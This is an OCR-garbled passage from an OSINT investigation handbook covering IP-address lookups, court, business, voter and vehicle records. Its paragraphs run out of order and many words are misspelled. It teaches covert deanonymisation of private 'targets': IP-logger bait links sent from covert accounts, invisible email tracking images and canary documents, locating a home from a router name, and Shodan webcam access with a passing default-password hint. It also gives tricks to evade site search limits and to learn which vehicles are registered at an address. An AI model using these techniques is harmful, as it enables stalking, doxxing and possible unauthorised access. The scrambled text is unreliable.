https://iknowwhatyoudownload.com/cn/pcer/?ip=70.39.110.82 Movies Movies The Beguiled Figure 24.01: A search result from I Know What You Download. Exoncrator (metrics.torproject.org/exonerator.html) IP Addresses 389 Dec 28.2017 9:53:21 PM Dec 28. 2017 9:53:19 PM Dec 28.2017 9:5351 PM Dec 28.2017 9:53:19 PM The Onion Router (Tor) was explained in Chapter Three. It is a network that provides anonymity by issuing IP addresses to users that connect to servers in other countries. If you possess an IP address of your target, but cannot locate any valuable information using the previous techniques, it is possible that the address was part of the Tor network and there is no relevant data to be located. Exonerator is a tool that will verify the usage of an IP address on the Tor network. Provide the IP address and a date of usage, and the service will display whether it was used as a Tor connection. While a date is required, you could provide the current date if your target time frame is unknown. Most IP addresses are typically always or never a part of the Tor network. The previous resources rely on conventional IP address data, which is sourced from various registration documentation and scanning of servers. Very little information is sensitive or personal in nature. That's Them enters into an environment that is a lot more invasive. This service, mentioned previously during person, email, and telephone search, collects marketing data from many sources to populate its database. This often includes IP address information. These details could have been obtained during an online purchase or website registration. Regardless of the source, the results can be quite beneficial. At the time of this writing, I searched an IP address associated with a business email that I received. The result identified a person's name, home address, company, email address, and age range. All appeared accurate. This tool will work best when searching static business IP addresses, and not traditional home addresses that can change often. VCTiile I get no results much more often than positive results, this resource should be in everyone's arsenal. The direct URL query follows. While discussing invasive websites, this resource might be the most personal of all. This service monitors online torrents (ways to download large files which often violate copyright laws) and discloses the files associated with any collected IP addresses. I searched the previous IP address collected from an associate, and received an immediate hie Figure 24.01 displays the result. It identifies that the target IP address was downloading two specific movies on December 28,2017 at 9:53 pm. Clicking on the movie tide presents every IP address captured that also downloaded the same file. Again, this will work best with IP addresses that rarely change, such as a business, organization, or public Wi-Fi network. I have used this to determine the files being downloaded from the network with which I was currendy connected. On one occasion, this revealed an employee that was downloading enormous amounts of pornography on his employer's network. He should have used a VPN, which would have masked his online activity from me. In order to see the power of this type of sendee, tty’ searching a known VPN address such as an address provided by Private Internet Access (PIA) 173.244.48.163. While I know that no one reading this book has ever downloaded pirated content, this should serve as a reminder why VPNs are essential. The direct URL query follows. Wigle (wigle.net) Shodan (shodan.io) country:US city:"Mount Pleasant" 390 Chapter 24 https://wqgle.net/search?ssid=bazzell https://wigle.net/search#fullSearch?postalCode=62002 An investigator could also search by the target's name. This may identify routers that have the target's name within the SSID. A search of "Bazzell" identifies seven access points that probably belong to relatives with my last name. These results identify the router name, MAC address, dates, encryption method, channel, and location of the device. This can easily lead an investigator to the home of a target. ManyT internet users will use the same name for their wireless router as they’ use for their online screen name. Assume that your target's username was "Hacker21224". A search on Wigle for "Hacker21224" as a router name might produce applicable results. These could identify the router's MAC address, encryption type, and GPS coordinates. A search on Google Maps of the supplied GPS coordinates will immediately' identify the home address, a satellite view of the neighborhood, and a street view of the house of the target. All of this intelligence can be obtained from a simple username. These results would not appear on any standard search engines. Shodan is a search engine that lets you find specific computers (routers, servers, etc.) using a variety’ of filters. General search engines, such as Google and Bing, are great for finding websites; however, they’ do not search for computers or devices. Shodan indexes "banners", which are metadata that a device sends back to a client. This can be information about the server software, what options the service supports, or a welcome message. Devices that are commonly identified through Shodan include servers, routers, online storage devices, surveillance cameras, webcams, and VOIP systems. Network security’ professionals use this site to identify vulnerabilities on their systems. Criminals use it to illegally access networks and alter devices. We will use it to locate specific systems near a target location. In order to take advantage of Shodan's full search capabilities, you must create a free account. Only a name and email address is required. The following example will identify how to locate live public surveillance cameras based on location. The target for this search is Mount Pleasant, Utah. The following search on Shodan produced 9,684 results. There are many investigative uses for this service. You can identify’ the wireless access points in the immediate area of a target's home. As an example, a search of the address of a gas station revealed a map of it with the associated routers. In this view’, I can identify’ the router names including potential sensitive information. It displays wireless router SSID's of AltonBPStore, tankers_netw’ork, Big Toe, and others. Clicking View’ and then Search in the upper left of the page presents a detailed query’ engine. A search of tankers_network, as identified previously in the map view’, displays details of the wireless access point. It has a MAC address of OO:1F:C6:FC:1B:3F, WPA encryption, was first seen in 2011, and operates on channel 11. Wigle is a crow’d-sourced database of wireless access points. Users in all areas of the countp’ conduct scans of wireless devices in their area; identify’ details of each device; and submit this data to Wigle in order to map the found devices on the site. This allows anyone to browse an area for wireless access points or search an address to locate specific devices. Additionally, you can search for either a specific router name or MAC address and locate any matching devices. The results include links that will display the results on an interactive map. Most of the w’orld has been covered. In order to take advantage of the search features, y’ou will need to register for a free account. Generic or misleading information can be used that does not identify’ y’ou. If y’ou find Wigle valuable to your investigations, I recommend y’ou create a free account. While logged in, you can use their advanced search (wigle.net/search) or submit direct queries via URL as follows. Figure 24.02: A Shodan Maps search result. IP Addresses 391 Shodan Beta (beta.shodan.io) offers complete details of a specified IP address. This can be queried with the following three URLs. https://bcta.shodan.io/host/70.39.81.131 https://beta.shodan.io/host/70.39.81.131/raw https://beta.shodan.io/host/70.39.81.131 /history City: Name of the city (ex. City:"San Diego") Country: 2-lerter country code (ex. Country:US) GPS: Latitude and longitude (ex. Geo:50.23,20.06) OS: Operating system (ex. Os:Linux) IP Address: Range (ex. Net: 18.7.7.0/24 ) Keyword: (ex. Webcam) To connect to the device, you would click on the IP address identified as 63.78.117.229. Clicking through each of these options may be time consuming. You can add a search term to filter your results. Replicating this search for a GPS location in a large city will produce many results. Clicking the IP address will take you to the page that will connect to each device. You must be careful here. Some devices will require a username and password for access. You could try' "admin" / "admin" or "guest" / "guest", but you may be breaking the law. This could be considered computer intrusion. However, many of the webcam and netcam results will not prompt you for a password and connect you to the device automatically. There is likely no law violation when connecting to a device that docs not prompt you for credentials. Your local laws may prohibit this activity. There arc two flaws with this search. First, you may receive results from other cities named Mount Pleasant. Second, you will likely receive too many results to analyze effectively. A search of "geo:39.55,-l 11.45" will focus only on the specific GPS location of interest (Lat=39.55, Long= -111.45). There were 238 results for this search. This is much more manageable and all of the results will be devices in the target area. Adding more specific search criteria will filter the results further. A search of "gco:39.55,-l 11.45 netcam" identified only one device. The result displays this device as a "Netcam". It also identifies the internet service provider as "Central Utah Telephone" indicating the user has a DSL connection. Shodan Maps (maps.shodan.io) allows you to conduct any of these searches based on location alone while Shodan Images (images.shodan.io) displays collected webcam captures from open devices. Figure 24.02 displays a home using an automated lighting and climate control system in Missouri located with Shodan Maps. These two options are premium services and require a modest fee. All Shodan features allow input of the following types of information for filtering. Zoom Eye (zoomcyc.org) This Shodan competitor provides a similar sendee, often with unique results. A direct URL query follows. https://www.zoomeye.org/ searchRcsult?q=70.39.110.82 Threat Crowd (tlircatcrowd.org) https://www.threatcrowd.org/ip.phpPip=70.39.110.82 Censys (ccnsys.io) https://censys.io/ipv4/70.39.110.82 Ipv6 Addresses Email Headers 392 Chapter 24 As mentioned in the previous chapter, Threat Crowd is a system for finding and researching artifacts relating to cyber threats. Searching an IP address can reveal an association to malicious software being spread over the internee A positive result wall display the type of malware, associated domain names, dates of discover)', and any comments by other researchers. Most readers that actually need this type of service likely already know more about it than me. However, it should be a consideration when investigating suspicious IP addresses. A URL query’ follows. I no longer teach email header analysis in my live courses. The vast majority of users rely on web-based email such as Gmail or Yahoo. These services do not disclose the IP address of an individual user within the email headers. The only email headers that I have encountered over the past three years that contained valuable IP addresses were business users that sent emails within a desktop client such as Oudook. If you would like to analyze an email header in order to identify’ the IP address and sender information, you have two options. You can look through a few sites and teach yourself how to read this confusing data, or y’ou can use an automated sendee. h ttps://www.ultratools.com/tools/ipv6InfoResult?ip Address=2001 :db8::8a2e:370:7334 https://www.ultratools.com/tools/ping6?ip Address=2001 :db8::8a2e:370:7334 The first presents the standard view while the second offers text-only’ details which may' be more valuable to a report The final option looks at all available details about the domain throughout several scans over time. Each entry' displays a date in the format of 2020-04-26T07:49:17 (April 26, 2020 at 7:49 am). The IP addresses previously mentioned were all version four (Ipv4), such as 192.168.1.1. Due to limited availability’, many providers are switching to lpv6, which allows many more addresses. A typical example may appear as 2001:0db8:85a3:0000:0000:8a2e:0370:7334. While many of the utilities mentioned here are adapting to this input, we should query’ these types of addresses through designated Ipv6 engines. I have tested dozens, and I find the following two to work best, both of which are included in rhe search tool. Similarly, Censys is a search engine that enables researchers to ask questions about the hosts and networks that comprise the internet. Censys collects dam on hosts and websites through daily scans of the internet, in rum maintaining a database of how hosts and websites are configured. Researchers can interact with this data through a search interface. As an example, a search of 173.189.238.211 reveals it to be associated with a Schneider Electric BMX P34 2020 device through a Windstream provided internet connection, located near Kansas City’, Kansas. A URL query follows. Obtaining a Target’s IP Address IP Logger (iplogger.org) http://www.iplogger.org/3ySz.jpg http://www.iplogger.org/23fq.jpg <img sre—"http://www.iploggcr.org/23fq.jpg"> IP Addresses 393 For many years, this was my favorite option for identifying the IP address of a target. There are many options now, and most of them will be explained here. This specific technique involves some trickery and the need to contact the target from a covert account. For this demonstration, assume your target has a Facebook page that he checks regularly. You can send him a private message that includes "bait" in the form of an online link. A detailed set of instructions should explain the processes. The main website presents several options, but only the "URL & Image Shortener" service will be explained. IP2Location (ip21ocation.com/free/email-tracer) provides a large text box into which an entire email header can be copied for analysis. The response includes the IP address and location of the sender; interactive map identifying the originating location; internet service provider; and links to additional information from an IP search. Anyone wanting more information from an email threat should start here. An alternative site that conducts similar actions is MX Toolbox (mxtoolbox.com/EmailHeadcrs.aspx). The first link forwards to the image that I provided. During this process, the IP address, operating system, and browser details are collected and stored on the page that stored the links. The second link could be inserted directly into a web page or email message. Upon loading either, the image is present and collects the same data. Link: You can generate a URL which will redirect to any website that you provide. IP Logger will save the IP address of each user who clicked the link. In the box provided, enter any address that you want the target to see when clicking on a link. This could be something generic such as cnn.com. After submitting, you will receive a series of links. This page also serves as the log of visitors, and I recommend documenting it In an example, I received the following link at the beginning of this list. Real World Application: I was once communicating with an unknown subject on a web forum about hacking and stolen credit card numbers. I wanted to find out his IP address in order to discover his true identity with a court order. 1 told the hacker I had an image of a freshly stolen debit card that I was willing to share. He requested proof, so I created an IP Logger link based on a generic online image, and embedded that link into the web forum where we were communicating. Within a few moments, I visited the log for this image and discovered his IP address in Newark, New Jersey. Although the link appears to be a jpg image, clicking this link or typing it into a browser forwards the target to cnn.com. This action collects his or her IP address, operating system, and browser details. These details, along with the date and time of capture, can be viewed at the link generated previously. A URL shortening service such as Bitly (bit.ly) would make the link look less suspicious. Image: You can provide a digital image to this service, and it will create a tracker out of it for placement onto a website, forum, or email message. I provided an image that is present on my website at inteltechniques.com/img/bh2016.png. This presented a page similar to the previous example. I was provided the following links. You may want to know the IP address of the person you are researching as provided by their internet sendee provider. This address could be used to verify an approximate location of the person; to provide law enforcement details that would be needed for a court order; or to determine if multiple email addresses belong to the same subject. All of those scenarios will be explained here while I explain the various services that can be used. Canary Tokens (canarytokens.org) https://inteltcchniqucs.com/canary LinkBait (github.com/2YmlJesse/LinkBait) 394 Chapter 24 Always remember that technologies such as VPNs, Tor, and other forms of IP masking may create inaccurate results. Always use caution when sending these types of trackers, and make sure you are nor violating any laws or internal policies. Due to the heavy usage of VPNs within the communities in which I investigate, I find these sendees slowly becoming less useful. rv:81.0) Gecko/20100101 There is a glaring problem with all of these public IP logging sendees. They are well-known and may be blocked by email providers. Gmail typically blocks any domains associated with either IP Logger or Canary Tokens. A tech-sawy target may recognize these tactics which could jeopardize your investigation. This is why I rely on my own self-hosted option made by my colleague Jesse. The link above includes all files required to host your own IP Logger on your website. You simply need to copy the PI-IP file into a web-accessible director}’ on your Apache web server, including shared web hosts. I renamed the file to "index.php" and placed it on my website at https://inteltechniques.com/site/index.php. If you visited that page by clicking a link I had sent to you, a text file would have been generated in that folder. The tide would have included the date and your IP address. The following represents a partial view of the content submitted by your computer. This page is nor currently live because I do nor want to log visitors to my site. A newer option for IP identification is Canary Tokens. It offers redundant functionality’ as the previously mentioned product, but may be more useful to you. Ultimately, you should familiarize yourself with all options and choose which works best for you. Lately, I have found Canary’ Tokens to be the superior option of all. It allows creation of a PDF or DOCX file that contains a tracker, and is the most user-friendly' of the sendees. After choosing a tracking option, it walks you through the process. I maintain a few Canary’ Token files at the following address. They are used as traps for people that conduct Google searches attempting to find my home address. Opening any’ of these alerts me to your IP address and general location. Ar the time of this writing, the most recent opening of one of these documents occurred only' two days prior. The culprit lives in Matawan, New Jersey, possesses MCI as an internet provider, and had recently downloaded an Xbox 360 game through a torrent. 70.39.126.131 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; Firefox/81.0 touch: false / mic: Found / gpu: AMD Radeon Pro 560X OpenGL Engine Screen Height: 1080 Language: en-US Fonts: 109 fonts: American Typewriter... Detected OS = Mac OS X [generic] [fuzzy] MTU = 1392 Network link = OpenVPN UDP bsl28 SHA1 Izo MTU not 1500, VPN probable. "country":"United States" "regionName": "California", "city": "Los Angeles", "isp”: "Sharktech" "timezone":"Denver" browserversion: 5.0 (Macintosh) / Screen Width: 1920 System Time: 2020-10-14 16:2:6 router: https://192.168.1.1 browser: Mozilla / platform: Maclntel Discord: Not Running Logins: Google Services https://inteltechniques.com/logger/ GetNotify (getnotify.com) IntelTechniques IP Addresses Tool IP Addresses 395 Similar to the domain tool mentioned previously, this page automates some of the most common IP address searches. The first box accepts any IP address. Clicking the Populate All button will insert this address into all the search options where manual queries can be conducted. The final option will open several tabs within your browser that present each query listed on the page. Figure 24.03 displays the current status of the service. GetNotify tracks the opening of email messages and presents the connection information of the target. This sendee is completely free and does not require Gmail as your email provider. You will need to create an account through the Get Notify website and you will be limited to five email messages per day. After you have registered the email address you will be using, you can send emails from that account as usual. However, you will need to add ".getnotify.com" after each email recipient Instead of sending an email message to the valid account of [email protected], you would send the message to a modified email address of [email protected]. This will force the email message to go through Get Notify's servers and route the message to the valid address. When your target reads the email message, Get Notify will track the user's IP address, geographical location, and notify you whether your message was viewed for a length of time or deleted right away. Get Notify works by adding a small invisible tracking image in your outgoing emails. When your email recipient opens your message, this image gets downloaded from a Get Notify server. Get Notify will know exactly when your sent email was opened and it notifies you through an email that your sent message was read by the recipient. You can also view log files within your online account. The tracking image inserted by Get Notify is invisible to the recipient. Optionally, you can specify your own images to be used as tracking images by going to the preferences section after signing in to GetNotify.com. Your recipient will not see ".getnotify.com" at the end of his or her email address. If you want to send a single email to multiple recipients, you should add ".getnotify.com" at the end of every email address. I would then know that you clicked the link from a Mac computer through Firefox. 1 would have details about your hardware and know all of the fonts installed to the operating system. I would know that you arc connected to PIA VPN from a west coast server, but your system time is set to Mountain. I would also know you are logged in to a Google product. If you would like to see what details your computer would submit to this script, I have a test page available at the following URL. There are countless scenarios that may make these techniques beneficial to your online research. While I used it for law enforcement, especially in tracking down stolen goods on Craigslist, civilians can use it for many different things. Private investigators have used it on dating websites while hunting cheating spouses. Singles have used it to verify that the potential mate they have been chatting with is local and not in another state or country. The possibilities are endless. This page does not collect your details or store them on my server and nothing is logged. It simply generates the same queries through JavaScript through your own browser and displays them within your screen. Theoretically, any website could replicate these tactics and collect data about your visit. This is why investigators should always use caution and practice good operational security. I dive deep into this topic in my book Extreme Privacy. Populate All IP Address IntelTechniqucs Tools VD ReverselP Search Engines IP Address VD LocatelP IP Address Facebook VD PortScan IP Address VD Whois IP Address Twitter VD TraceRoute IP Address VDReverseDNS Instagram IP Address UT Whois IP Address Linkedln UT LocatelP IP Address UT Ping IP Address Communities Bing IP IP Address Email Addresses IPLocation IP Address That's Them IP Address Usernames Torrents IP Address Wigle SSID IP Address Names Wigle Postal IP Address Telephone Numbers Shodan IP Address Shodan Beta IP Address Maps Shodan Raw IP Address Shodan History Documents IP Address ZoomEye IP Address Pastes Threatcrowd IP Address Censys IP Address Images UT IPv6 Info IP Address UT IPv6 Ping Videos IP Address Dehashed IP Address Domains Submit All IP Address Figure 24.03: The IntelTechniques IP Addresses Tool. 396 Chapter 24 1 County General Records (www.blackbookonline.info/USA-Counties.aspx) County Court Records (www.blackbookonline.info/USA-County-Court-Records.aspx) Government & Business Records 397 Coroner Reports Delinquent Tax Sale Government Expenditures Property Tax Search Public Employee Salaries Traffic Citations Crash Reports Police Blotter Daily Crime Log Jail Inmate Search Ch a pt e r Tw e n t y -Fiv e Go v e r n me n t & b u s in e s s Re c o r d s Circuit Court Complete Docket Circuit Court Attorney Docket Family and Civil Pro Se Dockets Felony State's Attorney J ury Trials Traffic, Misdemeanor, DU1 Docket Unclaimed Property Crime Map Building Contractors Building Permits Foreclosed Properties Open source government and business information has never been easier to obtain. A combination of a more transparent government, cheaper digital storage costs, and marketing data leaks has placed more information online than ever before. There is no standard method of searching this data. One county may handle the queries much differently than another county', and business records vary by state. The following resources and techniques should get you started in the United States. A Google search of your county of interest should identify whether an online court records database is available. As an example, St. Clair County' in Illinois possesses a website that has their entire civil and criminal court records online (co.st-clair.il.us/departments/circuit-clerk/courts). Searching only a last name will present profiles with full name, date of birth, physical identifiers, case history, fines, pending appearances, and more. Navigating the website will expose charged crimes even if they were dismissed. This can be extremely useful in civil litigation. There are several websites that help connect you to publicly available county’ government records, such as Black Book Online. It allows you to drill down to your local records. The main page will prompt for the state desired. The result will be a list of links that access each county's court information. Some rural areas are not online, but an occasional search should be done to see if they have been added. Repeating my previous search of Madison County’, Illinois revealed the following court related databases. Recorded Documents Registered Lobbyists Press Releases Voter Registration Verification Voter Registration Addresses Counties all over America have digitized the majority of their public records and allow unlimited access over the internet. Searching for your county's website will likely present many information options. This can become overwhelming and it can be easy to get lost within the pages of the site. My initial preference when just beginning an investigation is to use Black Book Online's free county public records page. It allows you to drill down from state to county’. The resulting page isolates all available records for viewing. As an example, I chose Illinois and then Madison County’ as my target. I was presented with the following databases, each linking directly to the source. If the Black Book Online options do not provide optimal results, please consider Public Records Online (publicrecords.onlinesearchcs.com) or a new robust online service which appeared in 2021 called Netronline (publicrecords.netronline.com). This option seems to receive more updates of both content and design than Black Book Online. Ultimately, all of these simply connect you to the source of the records. Use the option which works best in your area. PACER (pacer.gov) RECAP (courtlistener.com/recap) UniCourt (unicourt.com) site:unicourtxom "facebook" The first result connected to the following static URL. https://unicourt.com/case/ca-la23-adam-blumenkranz-vs-facebook-l 23515 registration. 398 Chapter 25 Case Summary Case Number Filing Date Update Date Case Status Case Type Jurisdiction Judge Name Courthouse County State Defendant Names Plaintiff Names Respondent Names Docket Entries This page returned the following case details without a subscription or RECAP (PACER backwards) allows users to automatically search for free copies during a search in PACER, and to help build up a free alternative database at the Internet Archive. It is an extension for the Firefox and Chrome browsers. Each PACER document is first checked if it has already been uploaded by another user to the Internet Archive. If no free version exists and the user purchases the document from PACER, it will automatically upload a copy to the Internet Archive's PACER database. While the browser extension assists gready with searching, a search page exists on RECAP at the address above. Searching "Facebook" within the official site provides numerous results. However, after clicking through three case summaries, you will likely receive a notification to purchase a monthly premium membership. This may be acceptable if you plan to use the service heavily, but there are many additional free resources available. Consider conducting your queries through Google instead. Since the case summaries are publicly available, Google appears to have indexed most, if not all, of the pages. The following Google search produced over 10,000 results. The documents area is restricted, but the docket entries are public. In this case, the details provide dates and actions taken within the litigation. Below is a partial example. UniCourt is now a staple within my investigations, but I rely on Google to find a direct link to the data. This court document search site appeared in 2018 and currendy possesses an impressive database. The search options are straightforward, and results appear quickly, but you are limited to three searches without a paid membership. In my experience, clearing your browser's cache and selecting a new VPN IP address seems to reset this restriction. This is a premium site with full court documents hidden from guests, but we can obtain a fair amount of free information. Let's conduct an actual example. PACER is an acronym for Public Access to Court Electronic Records. It is an electronic public access service of United States federal court documents. It allows users to obtain case and docket information from the United States district courts, United States courts of appeals, and United States bankruptcy courts. It holds more than 800 million documents. PACER charges S0.10 per page. The cost to access a single document is capped atS3.00, the equivalent of 30 pages. The cap does not apply to name searches, reports that are not case-specific, and transcripts of federal court proceedings. Account creation is free and if your usage does not exceed S15 in a quarter, the fees are waived. I have possessed an account for several years and have never been billed for my minimal usage. PACER has been criticized for being hard to use and for demanding fees for records which are in the public domain. In reaction, non-profit projects have begun to make such documents available online for free. Judy Records (judyrecords.com) https://www.judyrccords.com/getSearchResults/?search="michael bazzell" FOIA Search (foia.gov/search.html) https://search.foia.gov/search?affiliate=foia.gov&query=osint Open Corporates (opencorporates.com) AIHIT (aihitdata.com) 03/14/2018 Case Management Statement; Filed by FACEBOOK, INC. (Defendant) 03/14/2018 Reply Filed by FACEBOOK, INC.; MARK ZUCKERBERG (Defendant) 02/21/2018 NOTICE OF CONTINUANCE; Filed by Attorney for Defendant 02/21/2018 Continuance of Hearing and Order; Filed by FACEBOOK, INC. https://opencorporates.com/companies?q=inteltcchniques https://opencorporates.com/officers?q=bazzell This service currendy announces the presence of 439 million court records throughout the United States. The site is very active and new counties are added often. The search feature functions well and accepts traditional search operators. By placing my name in quotes, I immediately identified an Illinois Supreme Court case in which I was mentioned. The site is completely free with no business model. I hope it sticks around. A direct URL query' follows. The Freedom Of Information Act (FOIA) allows us to demand government records from various entities. Filing a specific request exceeds the scope of this book, but you should know that a lot of public information is already available online. This site appears to rely on Bing to index government websites, so I assumed that this resource was unnecessary'. However, my' attempts to replicate some of the results within Google were unsuccessful. As an example, I searched for "Darrell Bazzell" on the FOIA site and received a specific result from a 2001 committee session. I replicated this search within Google and could not retrieve the same entry’. Therefore, this service should be available within your arsenal of tools. A static submission URL is as follows, and present within the search tool. This service is unique in that it uses artificial intelligence (/\I) in order to populate and update business records. I do not know how much of this is legitimate process and not marketing hype, but I consistently find unique data here. The default search options query' business names and registration numbers, and usually provide the same results as the previous options. However, the "More Fields" area allows entry’ of an email address, telephone number, or name of an individual. I have used this option to search personal email addresses and retrieve associated businesses. Fortunately, AIHIT allows search submission via URL as follows. Practically every' state offers a searchable database of all businesses created or registered within the state. This will usually identify the owner(s), board members, and other associated subjects. Dun & Bradstreet (dnb.com) offers a business search within the home page, but many registered companies do not participate with them. In my experience, the best overall business lookup entity’ is Open Corporates. This free sendee indexes all 50 states in the U.S. plus dozens of additional countries. The records usually identify corporate officers' names, addresses, and other contact details. The basic search option allows queries by business name, entity’ registration number, or officer name. Clicking the advanced option allows query' by physical address, but requires you to create a free account. This website is superior to targeted Google queries, because it indexes and scrapes data directly' from government websites. This can assist with identifying historical results that no longer appear within the original source. I visit this resource every' time I encounter a business name during my' research, or identify a target that would likely' be associated with an organization. Open Corporates allows search submission via URL as follows. Government & Business Records 399 OCCRP Aleph (aleph.occrp.org) Open Payrolls (openpayrolls.com) https://openpayrolls.com/search/michael-bazzell US Staff (bearsofficialsstore.com) Little Sis (littlesis.org) Bankruptll (bankruptll.com) site:bankruptll.com "bazzell" The first link was the following. https://bankruptll.com/dockets/documents/k_WhiteStar248/text/ 400 Chapter 25 I https://aleph.occrp.org/search?q-michael%20bazzell https://aleph.occrp.org/search?q=inteltechniques https://bearsofficialsstore.com/search/?q=michael+bazzell https://bearsofficialsstore.com/search/?q=inteltechniques https://littlesis.org/search?q=michael bazzell https://littlesis.org/ search?q=inteltechniques https://www.aihitdata.com/search/[email protected] https://www.aihitdata.com/search/companies?t=Michael Bazzell https://www.aihitdata.com/search/companies?c=inteltechniques This odd domain possesses millions of profiles of people associated with government and corporate employment. The data appears to have been scraped from Linkedln and search queries rely on a Google Custom Search Engine. Searching a company typically reveals all employees. My gut says this site will not be around long. Open Payrolls might be the largest searchable nationwide government salary database consisting of nearly 85 million salary’ records from over 14,800 employers. It allows you to locate employee salaries for federal agencies, states, counties, cities, universities, colleges, and K-12 schools. A direct query’ URL follows. This grassroots watchdog network connects the dots between the world's most powerful people and organizations. Searching a name or company’ can reveal details associated with donations, political support, board members, and other relationships. The query’ URL follows. This site claims to possess complete court documents for millions of bankruptcy’ cases. There is no search feature unless you create an account. The free tier is quite limited and will quickly’ restrict your searching. Instead, let's use Google to find what we need. The following search displayed links to 59 unredacted documents. This self-described "global archive of research material for investigative reporting" includes numerous business records, transcripts, and other data sets. All can be filtered to display’ email addresses, phone numbers, names, and specific file types. Queries are free, but results might be limited if y’ou are not signed in with a free account The query’ URL structure follows. https://bankruptl 1 .com/dockets/documents/k_WhiteStar248/ If you find a PDF and want to copy and paste the full text, add "/text" to the end of the URL. SSN Validator (ssnvalidator.com) Legacy (legacy.com/search) Asset Locator (www.blackbookonline.info/assetsearch.aspx) Voter Registration Records Vehicles Government & Business Records 401 This is a text extraction of the official PDF on file. Simply remove "/text" to see the full document, as follows. Black Book Online's Asset Locator is the most comprehensive list of sources for the search of real estate, judgments, bankruptcies, tax liens, and unclaimed funds. This page will allow you to select the type of asset you are researching and the state of the target. This wall then create a new page with all the options for that state. It will provide direct links to the sites for a search of the target. This often includes online databases of public employee salaries, vehicle registrations, property’ tax records, and dozens of other categories. Social Security Death Index (genealogybank.com/explore/ssdi/all) This public index of death records is stored on a genealogy' site. The only’ required information is the first and last name. The results will identify birth year, death year, state of last residence, and state of SSN issue. Many people assume that information related to vehicle registration and licensing is only available to law enforcement through internal networks. While a full driver's license search and complete license plate query’ is not publicly available, a surprising portion of related data is online for anyone to view. The following methods will display all publicly available details. The elections of 2016 and 2020 caused a lot of controversy’ in regard to the use and collection of voter registration data. While these personal details are public record, many’ people did not believe it was appropriate for politicians to use this personal data as a part of their campaign strategies. Regardless of your opinion on these matters, much of the voter registration details are available online. The most beneficial site I have found is Voter Records (voterrecords.com). You can search by’ name or browse by’ state. Any results will identify full name, home address, mailing address, gender, party’ affiliation, age, and relatives. Currendy, databases are available for Alaska, Arkansas, Colorado, Connecticut, Delaware, Florida, Michigan, Nevada, North Carolina, Ohio, Oklahoma, Rhode Island, Utah, and Washington. A simple way to verify if a social security number is valid is at SSN Validator. This does not provide the personal information attached to the number, only verification that the number is valid. A ty’pical response will include the state that issued the number, the year issued, verification that the number was assigned, and confirmation of death if applicable. There are many’ websites that search for death-related information such as social security’ indexes and ancestry’ records. A leader in this area is Legacy’. This site indexes online obituaries and memorials from approximately’ 80 percent of all online newspapers. The search on this site is straightforward and results can identify family’ members and locations. Department of Transportation (vpic.nhtsa.dot.gov) NICB VIN Check (nicb.org/vincheck) Cycle VIN (cyclevin.com) Vehicle Registration 402 Chapter 25 Vin decoderz (vindecoderz.com) CarFax (carfax.com/vehicle-history-reports) Check That VIN (checkthatvin.com) Search Quarry (searchquarry.com) Year: 2010 Make: VOLKSWAGEN Model: J ETTA VIN: 3VWRL7AJ6AM13xxxx FaxVin (faxvin.com) Vehicle History (vehiclehistoty.com) VinCheck (vincheck.info) Trim Level; TDI Style: SEDAN 4-DR Manufactured: Mexico Weight: 4,500 lbs The DOT has a website which provides free access to vehicle identification number (VIN) data. All information on this website is public information, and the data comes from vehicle manufacturers. You can search by VIN within their database to find detailed vehicle information. I submitted a unique VIN and received the following response. Auto Check (autocheck.com) Records Finder (recordsfinder.com/plate) CarFax (carfax.com/vehicle-histoty-reports) Search Quarry (searchquarty.com/vehicle_records) Free Background Search (freebackgroundcheck.org) Carvana (carvana.com/sellyourcar/getoffer/vehicle) VinCheck (vincheck.info/free-license-plate-lookup/) Vehicle History (vehiclehistoty.com/license-plate-search) Find By Plate (findbyplate.com) The following options also allow you to enter any VIN and retrieve the year, make, and model of the vehicle associated. The first option will often display estimated mileage based on service records. Several free seances identify the year, make, and model of a vehicle after supplying the VIN. However, it is more likely that we know the license plate registration details rather than a VIN. Fortunately, we have many options for researching these plates. The following sendees provide a search option based on the vehicle registration plate and state. Results are hit-or-miss, and rarefy include a name, but many' will identify' the VIN for further research. While the previous searches will identify' details about vehicles, they will not display' any' information about theft or salvage records. The National Insurance Crime Bureau (NICB) allows a search of any' VIN and will display two unique pieces of information. The VINCheck Theft Record will identify' vehicles that have been reported stolen, while the VINCheck Total Loss Records identifies VINs that belong to salvaged vehicles. VINs from motorcycles may not be searchable on standard VIN engines due to the number of characters in them. Cycle VIN will display' a year and make, as well as any' indication that the VIN exists in its proprietary­ database. If it does, S25 will obtain title and mileage information. I only' use this as a free resource for verifying motorcycle VINs to the correct y'ear and make. 2019 Ram 2500 Crew Cab O'Reilly Auto Parts (oreillyauto.com) Progressive (progressive.com) Government & Business Records 403 2007 GMC Sierra 1500 SEE V8.6.0 5967,364,Electronic SFI.GAS FI,MFI When I searched the same plate on VinCheck, I received a VIN of 3GTEK13Y87G527460.1 now have a decent beginning to my investigation of a license plate. VIN: JM1NC26FX80142016 VIN: 3C6UR5DL7KG684611 While only a small piece of information, this works in conjunction with other search techniques. After exhausting all of these searches, you should be able to obtain the VIN, make, model, year, engine, and style of the vehicle. These options will not typically provide the name of the owner. While not an official vehicle search, the insurance provider Progressive offers an interesting piece of information. I first learned about this technique from S.L., a member of my online OSINT forum. When you view the home page at progressive.com, you are prompted to request a free insurance quote. If you provide the zip code and address of any target, you receive a summary of the year, make, and model of all vehicles registered at that address. You can supply any random data besides the physical address and receive the results. This was likely designed to make the quote process more efficient and accurate, but investigators should appreciate the free utility’. While the previous license plate search websites offer a straight-forward query option, they are limited to the data available within publicly-traded vehicle databases. California plates often reveal accurate data, but states such as South Dakota and Montana are not as generous with the sharing of their own registrations. Because of this, we may want to query’ services which pay a fee in order to access premium data sets. My favorite of these is Kelley Blue Book (kbb.com/instant-cash-offer). The premise of this site is to identify the value of your own vehicle and potentially receive an offer to purchase it from KBB. That may have a benefit to you, but I prefer to harness the OSINT capabilities of this service. If the previous search options fail to identify the VIN, year, make, and model of a vehicle based on the license plate, tty’ O'Reilly. As a service to potential customers, it allows you to enter your license plate in order to identify applicable parts for your vehicle. Select the "Shop by Vehicle" in the upper-right and enter the license plate and state. 1 provided the state of California and the plate of "HACKER". I received the following response. As a test, I submitted a vehicle's registration number which was displayed on a television show playing in the background while I wrote this section. The result correcdy identified the vehicle as a 2010 Dodge Avenger. This example was a California plate, so I felt like I was cheating a bit. Instead, I conducted a search of the license plate "MRB1G" within South Dakota and Wyoming, which are both known to protect vehicle registration data from public view. The results appear below. 2008 MAZDA MX-5 Miata Marine Traffic and Boat Information Aircraft Information Campaign Contributions Selective Service Verification (sss.gov/Home/Verification) 404 Chapter 25 Aircraft N-Number Search 